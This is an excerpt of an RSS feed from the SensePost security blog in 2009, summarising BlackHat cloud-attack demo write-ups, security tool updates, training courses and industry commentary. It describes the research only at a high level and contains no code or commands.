				<pubDate>Sat, 08 Aug 2009 20:53:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-amazon/</guid>
				<description>&lt;address&gt;[part 4 in a series of 5 video write-ups from our BlackHat 09 talk, summary &lt;a href=&#34;http://www.sensepost.com/blog/3736.html&#34;&gt;here&lt;/a&gt;]&lt;br /&gt;&#xA;&lt;/address&gt;&#xA;&lt;h4&gt;Goal&lt;/h4&gt;&#xA;&lt;p&gt;In the fourth installment of our BlackHat video series, we turned our attention to Amazon&amp;#8217;s cloud platform and focused on their Elastic Compute Cloud (EC2) service specifically.&lt;/p&gt;&#xA;&lt;p&gt;Theft of resources is the red-headed step-child of attack classes and doesn&amp;#8217;t get much attention, but on cloud platforms where resources are shared amongst many users these attacks can have a very real impact. With this in mind, we wanted to show how EC2 was vulnerable to a number of resource theft attacks and the videos below demonstrate three separate attacks against EC2 that permit an attacker to boot up massive numbers of machines, steal computing time/bandwidth from other users and steal paid-for AMIs.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat presentation demo vids: SalesForce Sifto</title>
				<link>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-salesforce-sifto/</link>
				<pubDate>Sat, 08 Aug 2009 06:59:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-salesforce-sifto/</guid>
				<description>&lt;address&gt;[part 3 in a series of 5 video write-ups from our BlackHat 09 talk, summary &lt;a href=&#34;http://www.sensepost.com/blog/3736.html&#34;&gt;here&lt;/a&gt;]&lt;br /&gt;&#xA;&lt;/address&gt;&#xA;&lt;h4&gt;Goal&lt;/h4&gt;&#xA;&lt;p&gt;Our third video write-up covers abuse of cloud services. By signing up for free accounts, it is possible to gain access to small amounts of free resources, specifically processing time and bandwidth. However these resources are tightly controlled to maintain fairness across the many thousands of users who share the same platform.&lt;/p&gt;&#xA;&lt;p&gt;We aim to circumvent some of these controls in order to access more resources than should be allowed, and we demonstrate this on the Force.com platform which supports the ability for a developer to upload and execute custom code. Our proof-of-concept was to port Nikto into a Force.com application, and we named it Sifto.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat presentation demo vids: SalesForce ClickJacking</title>
				<link>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-salesforce-clickjacking/</link>
				<pubDate>Thu, 06 Aug 2009 14:48:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-salesforce-clickjacking/</guid>
				<description>&lt;p&gt;&lt;em&gt;[part 2 in a series of 5 video write-ups from our BlackHat 09 talk, summary &lt;a href=&#34;http://www.sensepost.com/blog/3736.html&#34;&gt;here&lt;/a&gt;]&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h4&gt;Goal&lt;/h4&gt;&#xA;&lt;p&gt;The premise behind this video was that while we are migrating more and more services into the cloud, the front-end through which the services are accessed as well as managed is (in many cases) a web application and we still have not figured out how to write secure web applications reliably. The implication is that business-critical services and infrastructure maybe at risk due to a web developer&amp;#8217;s mistake.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat presentation demo vids: SugarSync</title>
				<link>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-sugarsync/</link>
				<pubDate>Thu, 06 Aug 2009 14:42:04 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-sugarsync/</guid>
				<description>&lt;address&gt; &lt;/address&gt;&#xA;&lt;p&gt;&lt;em&gt;[part 1 in a series of 5 video write-ups from our BlackHat 09 talk, summary &lt;a href=&#34;http://www.sensepost.com/blog/3736.html&#34;&gt;here&lt;/a&gt;]&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h4&gt;Goal&lt;/h4&gt;&#xA;&lt;p&gt;We wanted to demonstrate how access to cloud resources can bring certain attack classes within reach of regular users. Instead of focusing on brute-forcing regular user credentials such as usernames and passwords, we decided to look at less noisy options since failed logins would typically be a closely watched metric.&lt;/p&gt;&#xA;&lt;p&gt;To this end, different types of session identifiers were examined. The thinking was that by bruting session IDs instead of credentials the monitoring systems might be less likely to pickup the attack, and the cloud gives the attacker vast amounts of bandwidth and processing power that was not previously available. However even with access to cloud resources, most &amp;#8220;strong&amp;#8221; session IDs would still be large enough to avoid this attack (think 128-bit sessions such as those stored in ASP.NET cookies).&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat presentation demo vids: Summary</title>
				<link>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-summary/</link>
				<pubDate>Thu, 06 Aug 2009 14:39:34 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-summary/</guid>
				<description>&lt;p&gt;Our BH09/DC17 presentation relied heavily on videos for the demos, and they&amp;#8217;ve been blogged separately. Links below (will be made active once the upload is complete):&lt;/p&gt;&#xA;&lt;p&gt;[&lt;a href=&#34;http://www.sensepost.com/blog/3706.html&#34;&gt;slides&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;[&lt;a href=&#34;http://www.sensepost.com/blog/3725.html&#34;&gt;SugarSync&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;[&lt;a href=&#34;http://www.sensepost.com/blog/3741.html&#34;&gt;SalesForce Clickjack&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;[&lt;a href=&#34;http://www.sensepost.com/blog/3752.html&#34;&gt;SalesForce Sifto&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;[&lt;a href=&#34;http://www.sensepost.com/blog/3797.html&#34;&gt;Amazon Web Services&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;[&lt;a href=&#34;http://www.sensepost.com/blog/3812.html&#34;&gt;MobileME&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>Clobbering the cloud slides</title>
				<link>https://sensepost.com/blog/2009/clobbering-the-cloud-slides/</link>
				<pubDate>Wed, 05 Aug 2009 11:02:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/clobbering-the-cloud-slides/</guid>
				<description>&lt;p&gt;[updated: videos will be made available on &lt;a href=&#34;http://www.sensepost.com/blog/3736.html&#34;&gt;this page&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;140 slides in 75 minutes. They said it couldn&amp;#8217;t be done&amp;#8230; and they were right! (mostly)&lt;/p&gt;&#xA;&lt;p&gt;Regardless, our Vegas trip was as much fun as previous years and our presentations at BlackHat and DEFCON went down well from the looks of things. While we plan on writing up the interesting parts, a number of people have requested access to the slidedeck in the mean time, and we&amp;#8217;ve posted them here:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Wishlist for graduates</title>
				<link>https://sensepost.com/blog/2009/wishlist-for-graduates/</link>
				<pubDate>Wed, 08 Jul 2009 16:39:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/wishlist-for-graduates/</guid>
				<description>&lt;p&gt;We were invited to speak at the recent &lt;a href=&#34;http://www.infosecsa.co.za&#34;&gt;ISSA2009&lt;/a&gt; conference in Joburg, a local mostly academic security conference and I decided to carry a message in addition to the regular demo-style talk with which we try to entertain. By co-incidence, Haroon also had his peer-reviewed talk on Apple Exploitation Defences &lt;a href=&#34;http://www.infosecsa.co.za/programme_1.html&#34;&gt;accepted&lt;/a&gt; so there were two SensePosters talking to the tweed jackets. I figured the most important bit of the presentation should be mentioned first, so before we carry on I&amp;#8217;d like to present our attacker:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Watch out Amazon…</title>
				<link>https://sensepost.com/blog/2009/watch-out-amazon/</link>
				<pubDate>Mon, 29 Jun 2009 21:44:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/watch-out-amazon/</guid>
				<description>&lt;p&gt;&amp;#8217;cause theres some serious cloud computing competition on the horizon..&lt;/p&gt;&#xA;&lt;p&gt;A google search for Cloud Provider returns the following paid ads..&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/watch-out-amazon/cb3f8a9f7512778f79550db1a9913316.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;272&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/watch-out-amazon/cb3f8a9f7512778f79550db1a9913316.png&#34; title=&#34;cloud-ad&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now i know conventional logic says its a bad idea to judge a book by its cover, but..&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/watch-out-amazon/2d3a837d118042e43f03bf3e97ab20b7.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;226&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/watch-out-amazon/2d3a837d118042e43f03bf3e97ab20b7.png&#34; title=&#34;cloud-hosting&#34; width=&#34;299&#34; /&gt;&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Apple vs Microsoft as a malware target.. stop saying market share..</title>
				<link>https://sensepost.com/blog/2009/apple-vs-microsoft-as-a-malware-target..-stop-saying-market-share../</link>
				<pubDate>Thu, 11 Jun 2009 18:06:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/apple-vs-microsoft-as-a-malware-target..-stop-saying-market-share../</guid>
				<description>&lt;p&gt;I really enjoy listening to &lt;a href=&#34;http://twit.tv/mbw&#34; target=&#34;_blank&#34;&gt;Mac Break Weekly&lt;/a&gt;.. Leo Laporte is an excellent host and i would tune in just to hear [&lt;a href=&#34;http://ihnatko.com/&#34; target=&#34;_blank&#34;&gt;Andy Ihnatko&amp;#8217;s&lt;/a&gt;] take on the industry and the (possible) motivations behind certain players moves. (he is sometimes wrong, but always worth listening to). The only time the things ever get a little cringe-worthy is when  talk switches to malware and security (although both Andy and Leo for the most part have pretty reasonable balanced views on it).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Excellent paper from MSFT Research on inline proxies vs. SSL</title>
				<link>https://sensepost.com/blog/2009/excellent-paper-from-msft-research-on-inline-proxies-vs.-ssl/</link>
				<pubDate>Sun, 07 Jun 2009 11:54:55 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/excellent-paper-from-msft-research-on-inline-proxies-vs.-ssl/</guid>
				<description>&lt;p&gt;Ron Auger sent an email to the [&lt;a href=&#34;http://www.webappsec.org/lists/websecurity/archive/&#34; target=&#34;_blank&#34;&gt;WASC Mail list&lt;/a&gt;] on some fine work presented recently by Microsoft Research. The paper (and accompanying PPT), titled [&lt;a href=&#34;http://research.microsoft.com/apps/pubs/default.aspx?id=79323&#34; target=&#34;_blank&#34;&gt;Pretty-Bad-Proxy: An Overlooked Adversary in Browsers’ HTTPS Deployments&lt;/a&gt;] is pretty cool and shows several techniques for a malicious inline proxy to sniff SSL sessions passing through the proxy. Its genuinely a bunch of cool findings and has been handled neatly (with the exception of some shocking clipart!).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Two quick links on “how your app got hacked, even though it looked ok”</title>
				<link>https://sensepost.com/blog/2009/two-quick-links-on-how-your-app-got-hacked-even-though-it-looked-ok/</link>
				<pubDate>Fri, 05 Jun 2009 06:48:16 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/two-quick-links-on-how-your-app-got-hacked-even-though-it-looked-ok/</guid>
				<description>&lt;p&gt;The first one from hacker news, aptly titled &amp;#8220;&lt;a href=&#34;http://news.ycombinator.com/item?id=639976&#34; target=&#34;_blank&#34;&gt;How I Hacked Hacker News (with arc security advisory)&lt;/a&gt;&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;and the 2nd, a welcome-back-to-the-blogosphere-tptacek post on the matasano blog: [&lt;a href=&#34;http://www.matasano.com/log/1749/typing-the-letters-a-e-s-into-your-code-youre-doing-it-wrong/&#34; target=&#34;_blank&#34;&gt;Typing The Letters A-E-S Into Your Code? You’re Doing It Wrong!&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;&#xA;&lt;p&gt;PS. for those going, man i wish someone would break down the important crypto stuff for me in a way thats understandable without being patronizing, there is Chris Eng and his owasp talk on [&lt;a href=&#34;http://video.google.com/videoplay?docid=-5187022592682372937&#34; target=&#34;_blank&#34;&gt;Cryptography For Penetration Testers&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>Open Patch Management Survey</title>
				<link>https://sensepost.com/blog/2009/open-patch-management-survey/</link>
				<pubDate>Thu, 04 Jun 2009 11:52:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/open-patch-management-survey/</guid>
				<description>&lt;p&gt;Rich Mogull (who&amp;#8217;s stuff I really quite dig) has launched an &amp;#8216;Open Patch Management Survey&amp;#8217; via the SecurityMetrics blog. Its an interesting idea, and they plan to release both their analysis *and* the raw data, which might be really insightful for our VMS stuff.&lt;/p&gt;&#xA;&lt;p&gt;Corporations can take the SurveyMonkey survey at &lt;a href=&#34;http://www.surveymonkey.com/s.aspx?sm=SjehgbiAl3mR_2b1gauMibQw_3d_3d&#34;&gt;http://www.surveymonkey.com/s.aspx?sm=SjehgbiAl3mR_2b1gauMibQw_3d_3d&lt;/a&gt;, and there&amp;#8217;s some nice material already available at &lt;a href=&#34;http://securosis.com/projectquant&#34;&gt;http://securosis.com/projectquant&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;#8217;s the rest of Rich&amp;#8217;s message (pls forgive the cross-post):&lt;/p&gt;&#xA;&lt;blockquote&gt;&lt;p&gt;Our goal here is to gain an understanding of what people are really doing with regards to patch management, to better align the metrics model with real practices. We&amp;#8217;re doing something different with this survey. All the results will be made public. We don&amp;#8217;t mean the summary results, but the raw data (minus any private or identifiable information that could reveal the source person or organization). Once we hit 100 responses we will release the data in spreadsheet formats. Then, either every week or for every 100 additional responses, we will release updated data. We don&amp;#8217;t plan on closing this for quite some time, but as with most surveys we expect an initial rush of responses and want to get the data out there quickly. As with all our material, the results will be licensed under Creative Commons.&lt;/p&gt;</description>
			</item>
			<item>
				<title>How Good Companies Fail..</title>
				<link>https://sensepost.com/blog/2009/how-good-companies-fail../</link>
				<pubDate>Sat, 16 May 2009 17:22:03 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/how-good-companies-fail../</guid>
				<description>&lt;p&gt;In early 2002 i recall reading and falling in love with Jim Collins book: &amp;#8220;&lt;a href=&#34;http://www.amazon.com/Good-Great-Companies-Leap-Others/dp/0066620996&#34; target=&#34;_blank&#34;&gt;From good to Great&lt;/a&gt;&amp;#8220;. I recall being so excited by some passages that i typed out whole paragraphs and sent them around to the rest of the office..&lt;/p&gt;&#xA;&lt;p&gt;For my last birthday Deels got me Collins other book &amp;#8220;&lt;a href=&#34;http://www.amazon.com/Built-Last-Successful-Visionary-Companies/dp/0060566108/ref=pd_cp_b_3?pf_rd_p=413864201&amp;amp;pf_rd_s=center-41&amp;amp;pf_rd_t=201&amp;amp;pf_rd_i=0977326411&amp;amp;pf_rd_m=ATVPDKIKX0DER&amp;amp;pf_rd_r=0FR0SQXDQJQ0RHVYQTQD&#34; target=&#34;_blank&#34;&gt;Built to Last: Successful Habits of Visionary Companies&lt;/a&gt;&amp;#8220;.&lt;/p&gt;&#xA;&lt;p&gt;It seems as if he has done it again, with his new (soon to be released) book called &amp;#8220;&lt;a href=&#34;http://www.amazon.com/How-Mighty-Fall-Companies-Never/dp/0977326411&#34; target=&#34;_blank&#34;&gt;How The Mighty Fall: And Why Some Companies Never Give In&lt;/a&gt;&amp;#8221;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Apple gets some clue points?</title>
				<link>https://sensepost.com/blog/2009/apple-gets-some-clue-points/</link>
				<pubDate>Wed, 13 May 2009 20:46:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/apple-gets-some-clue-points/</guid>
				<description>&lt;p&gt;At [&lt;a href=&#34;https://deepsec.net/&#34; target=&#34;_blank&#34;&gt;DeepSec&lt;/a&gt;] last year i had the pleasure of hearing &lt;a href=&#34;http://radian.org/&#34; target=&#34;_blank&#34;&gt;Ivan Krsti?&lt;/a&gt; speak. While some of his arguments had (small) holes in them (which the audience were quick to pounce on), he raised the ugly fact that people like me like to ignore.. That some of us spend a lot more time thinking of elaborate ways to break stuff than we do designing less breakable stuff..&lt;/p&gt;&#xA;&lt;p&gt;I think for most security &amp;#8220;breakers&amp;#8221; its an argument that sometimes hits hard, and makes you wonder if you should be refocusing your efforts..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Episode 9 of the ITSecurity Pubcast..</title>
				<link>https://sensepost.com/blog/2009/episode-9-of-the-itsecurity-pubcast../</link>
				<pubDate>Mon, 11 May 2009 14:48:10 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/episode-9-of-the-itsecurity-pubcast../</guid>
				<description>&lt;p&gt;Yvette Du Toit (E&amp;amp;Y &amp;#8211; UK/ZA) featured on the &lt;a href=&#34;http://www.discussit.co.za/index.php?option=com_content&amp;amp;task=view&amp;amp;id=85&amp;amp;Itemid=65&#34; target=&#34;_blank&#34;&gt;latest ITSecurity Pubcast&lt;/a&gt; and spoke about her role in CREST. SensePost were invited along, and i showed that while i have a face for radio, i do not have the voice for it.. Ahh.. some day ill find my niche..&lt;/p&gt;&#xA;&lt;p&gt;Till then, you can listen to the pubcast [&lt;a href=&#34;http://uk.mydigitallife.co.za/_media/_audio/itsp/pce9.mp3&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;] and SensePosters can grab the mp3 [&lt;a href=&#34;https://introonet.sensepost.com/store/cons-multimedia/pubcast/pce9.mp3&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>Zappos number 1 priority</title>
				<link>https://sensepost.com/blog/2009/zappos-number-1-priority/</link>
				<pubDate>Mon, 04 May 2009 22:21:07 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/zappos-number-1-priority/</guid>
				<description>&lt;p&gt;[&lt;a href=&#34;http://en.wikipedia.org/wiki/Zappos.com&#34; target=&#34;_blank&#34;&gt;Zappos.com&lt;/a&gt;] is one of those companies people love to write about. They make headlines for their use of new media and their CEO (Tony Hsieh) is as .com legendary as one gets.. (he sold LinkExchange in 1998 for $265 million and under him zappos went from $1.6 million in sales (2000) to $840 million in sales (2007)).&lt;/p&gt;&#xA;&lt;p&gt;He recently gave a talk at the [&lt;a href=&#34;http://itc.conversationsnetwork.org/shows/detail3976.html&#34; target=&#34;_blank&#34;&gt;Web 2.0 conference&lt;/a&gt;].&lt;/p&gt;&#xA;&lt;p&gt;He talks about how they invest in the customer experience, free shipping bouquets, and suprise shipping upgrades to get customers products delivered before they expect it.. This is all cool, and im sure people love them for it, but then he goes on to mention &lt;em&gt;&lt;strong&gt;their number 1 priority as a company&lt;/strong&gt;&lt;/em&gt;..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Chris Eng 1 – 0 Verizon DBIR Cover</title>
				<link>https://sensepost.com/blog/2009/chris-eng-1-0-verizon-dbir-cover/</link>
				<pubDate>Tue, 28 Apr 2009 08:39:55 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/chris-eng-1-0-verizon-dbir-cover/</guid>
				<description>&lt;p&gt;Chris Eng over [&lt;a href=&#34;http://www.veracode.com/blog/2009/04/decoding-the-dbir-2009-cover/&#34; target=&#34;_blank&#34;&gt;at the Veracode blog&lt;/a&gt;] documents how he approached, and decoded the info behind the [&lt;a href=&#34;http://www.verizonbusiness.com/resources/security/reports/2009_databreach_rp.pdf&#34;&gt;2009 Verizon Data Breach Investigations Report&lt;/a&gt; ]&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/chris-eng-1-0-verizon-dbir-cover/ba2251f2f3eb26676e42b1a3387e2be5.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;300&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/chris-eng-1-0-verizon-dbir-cover/ba2251f2f3eb26676e42b1a3387e2be5.png&#34; title=&#34;vbits&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Its an interesting read, and although in the end it turned out to be just a [&lt;a href=&#34;http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher&#34;&gt;Vigenère cipher&lt;/a&gt;] and fell to (effectively) a [&lt;a href=&#34;http://en.wikipedia.org/wiki/Known-plaintext_attack&#34; target=&#34;_blank&#34;&gt;known plaintext attack&lt;/a&gt;], its def. worth the few minutes it will take to read..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Virtualization as an answer to backward compatability?</title>
				<link>https://sensepost.com/blog/2009/virtualization-as-an-answer-to-backward-compatability/</link>
				<pubDate>Sat, 25 Apr 2009 14:58:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/virtualization-as-an-answer-to-backward-compatability/</guid>
				<description>&lt;p&gt;Part of the problem Microsoft bumped into with Vista, was hordes of people who had grown too attached to XP.. It seems they learnt their lesson (and found a cheap way to maintain backward compatability without having to keep legacy code forever). [&lt;a href=&#34;http://www.withinwindows.com/2009/04/24/secret-no-more-revealing-windows-xp-mode-for-windows-7/&#34; target=&#34;_blank&#34;&gt;XP with SP3 as a virtual-pc virtual machine within Windows 7&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;We thought we had problems classifying client side bugs that required user intervention (remote? local?), what happens when a remote in XP-SP3 allows one to execute code in the Windows7 machine through local VM breakout? (indeed a new acronym is needed in anticipation: RAXPLVMB??)&lt;/p&gt;</description>
			</item>
			<item>
				<title>BiDiBLAH Case Study (Part 2)</title>
				<link>https://sensepost.com/blog/2009/bidiblah-case-study-part-2/</link>
				<pubDate>Wed, 15 Apr 2009 14:52:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/bidiblah-case-study-part-2/</guid>
				<description>&lt;p&gt;With our recent release of &lt;a href=&#34;http://www.sensepost.com/research/bidiblah/&#34;&gt;BiDiBLAH 2.0&lt;/a&gt;, we’ve decided to revisit some real world scenarios, and ways BiDiBLAH can deal with it…  Herewith, part 2. All the scenarios can be downloaded from the BiDiBLAH &lt;a href=&#34;http://www.sensepost.com/research/bidiblah/&#34;&gt;home&lt;/a&gt; page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We have a class B network internally. Many of the users run FTP servers on their machines. We do not allow this – but how do I identify these machines?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using BiDiBLAH, define your network as netblocks.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SPUD reminder(s)</title>
				<link>https://sensepost.com/blog/2009/spud-reminders/</link>
				<pubDate>Wed, 15 Apr 2009 13:02:01 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/spud-reminders/</guid>
				<description>&lt;p&gt;After some queries regarding &lt;a href=&#34;http://www.sensepost.com/research/spud/&#34;&gt;SPUD&lt;/a&gt;, I thought it would be a good idea to blog this reminder:&lt;/p&gt;&#xA;&lt;p&gt;* Spud can only be run as an administrative user.&lt;br /&gt;&#xA;* Spud cannot be run by directly accessing the .exe.  You should run SPUD from the shortcut provided.  The reason being: SPUD cannot start from the \bin directory, but only from the \bin parent directory. (default: Program Files\SensePost SPUD). I.e, run &amp;#8220;bin\SPUD.exe&amp;#8221; from the installation directory as below:&lt;/p&gt;</description>
			</item>
			<item>
				<title>The power of data</title>
				<link>https://sensepost.com/blog/2009/the-power-of-data/</link>
				<pubDate>Thu, 09 Apr 2009 11:00:52 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/the-power-of-data/</guid>
				<description>&lt;p&gt;We recently introduced some neat blizzards onto a PoC Broadview client.&lt;/p&gt;&#xA;&lt;p&gt;On tha back of Conficker, our Broadview Dashboard sports a couple of instantly available blizzards that show:&lt;/p&gt;&#xA;&lt;p&gt;1. How many machines, on all scans for the last 10 days, have patch MS08-067 missing&lt;/p&gt;&#xA;&lt;p&gt;2. How many machines do not have SMS Agents, EPO Agents or Any AV installed&lt;/p&gt;&#xA;&lt;p&gt;3.  And without too much hassle one can quickly see where machines with MS08-067 missing also do not have EPO Agents, SMS agents or any AV installed. (enlarge image to see why)&lt;/p&gt;</description>
			</item>
			<item>
				<title>Comments have been broked :(</title>
				<link>https://sensepost.com/blog/2009/comments-have-been-broked/</link>
				<pubDate>Wed, 08 Apr 2009 12:06:26 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/comments-have-been-broked/</guid>
				<description>&lt;p&gt;Comments on the blog have been suprisingly quiet and we should have realised this when more and more people started having discussions with us via twitter or email (as opposed to simply saying their piece here).&lt;/p&gt;&#xA;&lt;p&gt;Short Story:&lt;/p&gt;&#xA;&lt;p&gt;It was broken, and it should be fixed again. Blame has been assigned and culprits have been whipped appropriately.&lt;/p&gt;&#xA;&lt;p&gt;Long Story:&lt;/p&gt;&#xA;&lt;p&gt;Most SensePost&amp;#8217;ers interact with the blog through our company-internal blog. This allows us to share top secret information like lolcats without publishing it here. Selected posts are pumped through to public via a plugin inside (which also publishes certain comments / etc).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sensepost’s HBN Extended Edition course 11-15th May</title>
				<link>https://sensepost.com/blog/2009/senseposts-hbn-extended-edition-course-11-15th-may/</link>
				<pubDate>Tue, 07 Apr 2009 10:03:20 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/senseposts-hbn-extended-edition-course-11-15th-may/</guid>
				<description>&lt;p&gt;We have scheduled our next training course, Hacking By Numbers – Extended Edition  (Bootcamp)  in   May 11-15th .&lt;/p&gt;&#xA;&lt;p&gt;The course runs for a full 5 days.&lt;/p&gt;&#xA;&lt;h4&gt;Overview&lt;/h4&gt;&#xA;&lt;p&gt;The HBN &amp;#8216;Extended Edition&amp;#8217; is simply an intensive extended version of the regular Bootcamp course. Whilst the content and structure are essentially the same as Bootcamp, the Extended Edition offer students a deeper understanding of the concepts being presented and affords them more time to practice the techniques being taught. Extended Edition is currently offered in Switzerland and South Africa only, or can be arranged on request.&lt;/p&gt;</description>
			</item>
			<item>
				<title>reDuh reVisited…</title>
				<link>https://sensepost.com/blog/2009/reduh-revisited/</link>
				<pubDate>Tue, 07 Apr 2009 08:58:39 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/reduh-revisited/</guid>
				<description>&lt;p&gt;We&amp;#8217;ve had a number of issues with reDuh and the various server versions published.  Some clients worked with some versions of the server, and didn&amp;#8217;t play nicely with others.&lt;/p&gt;&#xA;&lt;p&gt;I am happy to say that these have all been resolved now.  The single reDuhClient now works with JSP, ASPX and PHP versions of reDuh.  Its been tested on a number of different platforms.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, the new reDuh client supports some enhancements.  These are:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Should InfoSec companies be betting on PCI ?</title>
				<link>https://sensepost.com/blog/2009/should-infosec-companies-be-betting-on-pci/</link>
				<pubDate>Sun, 05 Apr 2009 16:14:55 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/should-infosec-companies-be-betting-on-pci/</guid>
				<description>&lt;p&gt;The United States committee on &lt;a href=&#34;http://hsc.house.gov/hearings/index.asp?ID=185&#34; target=&#34;_blank&#34;&gt;Homeland Security&amp;#8217;s Subcommittee on Emerging Threats, Cybersecurity, and Science and Technology&lt;/a&gt; recently held a hearing to determine if &amp;#8220;&lt;strong&gt;&lt;em&gt;the Payment Card Industry Data Standards Reduce Cybercrime?&lt;/em&gt;&lt;/strong&gt;&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://risky.biz/netcasts/risky-business/risky-business-102-washington-spanks-pci-dss&#34; target=&#34;_blank&#34;&gt;Risky Business&lt;/a&gt; played snippets of the hearing under the apt title: &amp;#8220;Washington spanks PCI DSS&amp;#8221; &amp;#8211; Like most episodes of RB, its well worth the listen..&lt;/p&gt;&#xA;&lt;p&gt;One of the &amp;#8220;merchants&amp;#8221; giving testimony made his point quite succinctly. The credit card companies require us to keep card details, and shift the burden of fraudulent transactions to the merchant. There are much better ways to handle transactions, but the current method is a cheap way for the CC vendors to shift the burden and the risk to the merchants who historically had no alternative.&lt;/p&gt;</description>
			</item>
			<item>
				<title>#include fakeNewsStory.h</title>
				<link>https://sensepost.com/blog/2009/%23include-fakenewsstory.h/</link>
				<pubDate>Wed, 01 Apr 2009 07:35:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/%23include-fakenewsstory.h/</guid>
				<description>&lt;p&gt;what? on April 1st???? Never!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Ranum Reloaded..</title>
				<link>https://sensepost.com/blog/2009/ranum-reloaded../</link>
				<pubDate>Tue, 31 Mar 2009 21:19:10 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/ranum-reloaded../</guid>
